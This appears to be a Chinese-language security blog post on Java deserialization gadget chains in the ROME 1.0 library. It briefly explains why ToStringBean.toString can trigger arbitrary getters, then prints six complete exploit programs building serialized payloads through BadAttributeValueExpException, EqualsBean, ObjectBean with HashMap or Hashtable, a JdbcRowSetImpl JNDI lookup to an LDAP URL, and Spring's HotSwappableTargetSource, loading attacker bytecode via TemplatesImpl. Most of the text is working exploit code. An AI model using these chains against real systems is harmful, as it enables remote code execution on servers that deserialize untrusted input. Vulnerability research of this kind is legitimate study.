Last updated on September 27, 2024 am
介绍
ROME是用来处理和操作XML格式的数据的工具,允许我们把XML数据转换成Java中的对象,也支持将Java对象转换成XML数据。
依赖环境
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency> </dependencies>
|
漏洞分析
ToStringBean
的toString
方法中BeanIntrospector.getPropertyDescriptors
能够获取指定类的getter方法,并且参数可控,这很容易想到TemplatesImpl
类的getOutputProperties
这条链实现类加载。
所以接下来只需要找到调用toString的链子就可以了
漏洞利用
BadAttributeValueExpException
不受jdk限制
1
| BadAttributeValueExpException.readObject->ToStringBean.toString->TemplatesImpl链
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64;
public class EXP1 { public static void main(String[] args)throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl(); SetFieldValue(templatesimpl,"_name","aaa"); byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\86151\\hexo-blog\\source\\_posts\\ysoserial\\ysoserial\\target\\classes\\Test.class")); byte[][] codes=new byte[][]{code}; SetFieldValue(templatesimpl,"_bytecodes",codes); SetFieldValue(templatesimpl,"_tfactory",new TransformerFactoryImpl()); SetFieldValue(templatesimpl,"_transletIndex",1); ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); SetFieldValue(badAttributeValueExpException,"val",toStringBean); String s= serialize(badAttributeValueExpException); deserialize(s);
}
public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception { Field declaredField = obj.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(obj, value); } public static String serialize(Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return Base64.getEncoder().encodeToString(baos.toByteArray()); } public static Object deserialize(String data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data)); ObjectInputStream ois = new ObjectInputStream(bais); return ois.readObject(); }
}
|
EqualsBean
无jdk版本限制,目前这个payload是最短的
1
| HashMap.readObject->HashMap.hash->EqualsBean.hashcode->EqualsBean.beanHashCode->ToStringBean.toString->TemplatesImpl链
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap;
public class EXP2 { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl(); SetFieldValue(templatesimpl,"_name","aaa"); byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\86151\\hexo-blog\\source\\_posts\\ysoserial\\ysoserial\\target\\classes\\Test.class")); byte[][] codes=new byte[][]{code}; SetFieldValue(templatesimpl,"_bytecodes",codes); SetFieldValue(templatesimpl,"_tfactory",new TransformerFactoryImpl()); SetFieldValue(templatesimpl,"_transletIndex",1); ToStringBean toStringBean = new ToStringBean(Templates.class,"1"); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(equalsBean,"123"); Field field = toStringBean.getClass().getDeclaredField("_obj"); field.setAccessible(true); field.set(toStringBean,templatesimpl); String s=serialize(hashMap); deserialize(s);
} public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception { Field declaredField = obj.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(obj, value); } public static String serialize(Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return Base64.getEncoder().encodeToString(baos.toByteArray()); } public static Object deserialize(String data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data)); ObjectInputStream ois = new ObjectInputStream(bais); return ois.readObject(); }
}
|
ObjectBean
1
| HashMap.readObject->HashMap.hash->ObjectBean.hashcode->ObjectBean.beanHashCode->ToStringBean.toString->TemplatesImpl链
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap;
public class EXP3 { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl(); SetFieldValue(templatesimpl,"_name","aaa"); byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\86151\\hexo-blog\\source\\_posts\\ysoserial\\ysoserial\\target\\classes\\Test.class")); byte[][] codes=new byte[][]{code}; SetFieldValue(templatesimpl,"_bytecodes",codes); SetFieldValue(templatesimpl,"_tfactory",new TransformerFactoryImpl()); SetFieldValue(templatesimpl,"_transletIndex",1); ToStringBean toStringBean = new ToStringBean(Templates.class,"1"); ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(objectBean,"123");
Field field = toStringBean.getClass().getDeclaredField("_obj"); field.setAccessible(true); field.set(toStringBean,templatesimpl); String s=serialize(hashMap); deserialize(s);
} public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception { Field declaredField = obj.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(obj, value); } public static String serialize(Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return Base64.getEncoder().encodeToString(baos.toByteArray()); } public static Object deserialize(String data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data)); ObjectInputStream ois = new ObjectInputStream(bais); return ois.readObject(); }
}
|
HashTable
1
| Hashtable.readObject->Hashtable.reconstitutionPut->ObjectBean.hashcode->ObjectBean.beanHashCode->ToStringBean.toString->TemplatesImpl链
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Hashtable;
public class EXP4 { public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl(); SetFieldValue(templatesimpl,"_name","aaa"); byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\86151\\hexo-blog\\source\\_posts\\ysoserial\\ysoserial\\target\\classes\\Test.class")); byte[][] codes=new byte[][]{code}; SetFieldValue(templatesimpl,"_bytecodes",codes); SetFieldValue(templatesimpl,"_tfactory",new TransformerFactoryImpl()); SetFieldValue(templatesimpl,"_transletIndex",1); ToStringBean toStringBean = new ToStringBean(Templates.class,"1"); ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
Hashtable<Object,Object> hashtable=new Hashtable<>(); hashtable.put(objectBean,"1"); Field field = toStringBean.getClass().getDeclaredField("_obj"); field.setAccessible(true); field.set(toStringBean,templatesimpl); String s=serialize(hashtable); deserialize(s); } public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception { Field declaredField = obj.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(obj, value); } public static String serialize(Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return Base64.getEncoder().encodeToString(baos.toByteArray()); } public static Object deserialize(String data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data)); ObjectInputStream ois = new ObjectInputStream(bais); return ois.readObject(); } }
|
JdbcRowSetImpl
jdk版本受jdbc注入的限制
1
| HashMap.readObject->HashMap.hash->ObjectBean->ObjectBean.hashcode->ObjectBean.beanHashCode->ToStringBean.toString->JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->JNDI注入链子
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package com.example;
import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean;
import javax.sql.rowset.JdbcRowSet; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap;
public class EXP5 { public static void main(String[] args) throws Exception{ JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://127.0.0.1:1099/Calculator"; jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,"1"); ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(objectBean,"123");
Field field = toStringBean.getClass().getDeclaredField("_obj"); field.setAccessible(true); field.set(toStringBean,jdbcRowSet); String s=serialize(hashMap); deserialize(s);
} public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception { Field declaredField = obj.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(obj, value); } public static String serialize(Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return Base64.getEncoder().encodeToString(baos.toByteArray()); } public static Object deserialize(String data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data)); ObjectInputStream ois = new ObjectInputStream(bais); return ois.readObject(); } }
|
HotSwappableTargetSource
spring原生链
1
| HashMap.readObject->HashMap.putVal->HotSwappableTargetSource.equals->ToStringBean.toString->TemplatesImpl链
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.syndication.feed.impl.ToStringBean; import org.springframework.aop.target.HotSwappableTargetSource;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap;
public class EXP6 { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl(); SetFieldValue(templatesimpl,"_name","aaa"); byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\86151\\hexo-blog\\source\\_posts\\ysoserial\\ysoserial\\target\\classes\\Test.class")); byte[][] codes=new byte[][]{code}; SetFieldValue(templatesimpl,"_bytecodes",codes); SetFieldValue(templatesimpl,"_tfactory",new TransformerFactoryImpl()); SetFieldValue(templatesimpl,"_transletIndex",1); ToStringBean toStringBean = new ToStringBean(Templates.class,"1");
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean); HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(h1,h1); hashMap.put(h2,h2); Field field = toStringBean.getClass().getDeclaredField("_obj"); field.setAccessible(true); field.set(toStringBean,templatesimpl); String s=serialize(hashMap); deserialize(s); } public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception { Field declaredField = obj.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(obj, value); } public static String serialize(Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return Base64.getEncoder().encodeToString(baos.toByteArray()); } public static Object deserialize(String data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data)); ObjectInputStream ois = new ObjectInputStream(bais); return ois.readObject(); } }
|
这里需要两次put,因为第一次进入putVal
的时候tab里面没有元素,导致不能进入else分支(equals所在的分支),需要执行afterNodeInsertion
之后将键值对加入tab,所以需要第二次进入putVal
。
payload缩短
使用Javassist生成的恶意类可以缩短payload,写法参考
参考
https://xz.aliyun.com/t/12768